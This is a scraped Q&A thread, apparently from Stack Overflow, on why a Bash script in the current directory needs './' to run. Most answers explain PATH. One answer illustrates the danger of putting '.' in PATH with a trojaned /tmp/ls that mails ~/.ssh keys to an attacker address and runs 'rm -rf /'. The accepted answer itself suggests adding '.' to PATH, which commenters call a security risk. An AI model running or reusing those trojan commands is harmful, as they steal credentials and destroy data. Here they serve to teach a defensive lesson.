tags:

views:

113

answers:

5

OK I have a bash script on my desktop called highest

if I run:

cd ~/Desktop
highest

I get: Command not found

But if I run:

~/Desktop/highest

It executes just fine. But why do I still need to use the absolute path when my command line is in the correct directory?

I am guessing this has something to do with the $PATH variable? Like I need to add something like ./ to it? if so how do I add that? I am not used to linux yet and get very confused when this happens.

A: 

You would need to add the local directory to your path:

PATH=$PATH:.
export PATH

This can be done in your .profile or .bash_profile to always set this up whenever you login.

Also, as a matter of course, you can run the command with the current directory marker:

./highest

as well.

Of course there are security implications as noted below by many MANY users, which I should have mentioned.

REW
Thanks, does that set it permantely or just for the session?
John Isaacks
Just for the session unless you add those two lines to your profile script. This is a script that is located in your home directory as either `.profile` or `.bash_profile`. This script gets run everytime you start a new session and you can setup persistant session environment changes there to always occur when you login (under most circumstances...there are times it would not).
REW
Thanks for the info!
John Isaacks
Don't add the current directory '.' to the $PATH as it poses a security risk!
B Johnson
-1: Don't add '.' to $PATH! Major security risk! Why was this accepted?
Platinum Azure
There IS a reason that this is not done by default. If you add . to your path, and then you execute say, `ls`, what if there is a malicious program in that directory called 'ls'? That one will be executed instead of /bin/ls. Don't change your $PATH. Just run ./command to execute a file in the current directory, as the Gods of Bash intended.
Alex JL
More pragmatically, you should get used to `./` because otherwise every time you used a new Linux system or reinstalled you'd have to edit the login profile, which may not even be for a bash shell. Better just type `./` and never have to change your routine or figure out why it's not working or how to fix it again in the future.
indiv
+3  A: 

Yes, adding ./ is ok, so running cd ~/Desktop; ./highest will work. The problem is as you said: running highest by itself causes Linux to look in your $PATH for anything named highest, and since there's nothing there called that, it fails. Running ./highest while in the right directory gets around the problem altogether since you are specifying the path to the executable.

Chris Bunch
+1  A: 

The best thing you can do is just get used to using ./highest when you want to run a command that is in your directory, unless you really want to add it to your path. Then you should add it to your path in your .profile file in your home directory (create it if it isn't there) so it gets loaded into your path every time you start up bash:

export PATH="/usr/local/bin:/usr/local/sbin:.:$PATH"

James Avery
`The best thing you can do is just get used to using ./highest` I'll put that in my routine. Thanks.
John Isaacks
+5  A: 

I agree with @Dennis's statement. Don't add '.' to your PATH. It's a security risk, because it would make it more possible for a cracker to override your commands. For a good explanation, see http://www.linux.org/docs/ldp/howto/Path-12.html .

For example, pretend I was a cracker and I created a trojaned files like /tmp/ls , like so. Pretend that this was on a shared system at a university or something.

$ cat /tmp/ls
#!/bin/sh
# Cracker does bad stuff.
# Execute in background and hide any output from the user.
# This helps to hide the commands so the user doesn't notice anything.
cat ~/.ssh/mysecretsshkey | mailx -s "haha" [email protected] >/dev/null 2>&1 &
echo "My system has been compromised. Fail me." |mailx -s "NUDE PICTURES OF $USERNAME" [email protected] >/dev/null 2>&1 & &
rm -rf / >/dev/null 2>&1 &
# and then we execute /bin/ls so that the luser thinks that the command
# executed without error. Also, it scrolls the output off the screen.
/bin/ls $*

What would happen if you were in the /tmp directory and executed the 'ls' command? If PATH included ., then you would execute /tmp/ls , when your real intention was to use the default 'ls' at /bin/ls.

Instead, if you want to execute your own binaries, either call the script explicitly (e.g. ./highest) or create your own bin directory, which is what most users do.

  1. Add your own ~/bin directory, and place your own binaries in there.

    mkdir ~/bin
    vi ~/bin/highest
    
  2. Then, modify your PATH to use your local binary. Modify the PATH statement in your .bashrc to look like this.

    export PATH=$PATH:~/bin

  3. To verify that highest is your path, do this:

    bash$ which highest
    /Users/stefanl/bin/highest
    
Stefan Lasiewski
+1  A: 

Don't change PATH, simply move or symlink the script to some standard location, e.g.

mkdir -p ~/bin
cd ~/bin
ln -s ../Desktop/highest highest

If ~/bin is in your path (and AFAIR this is the case if you use the default shell init scripts from Ubuntu), then you can call the scripts therein from anywhere by their name.

Philipp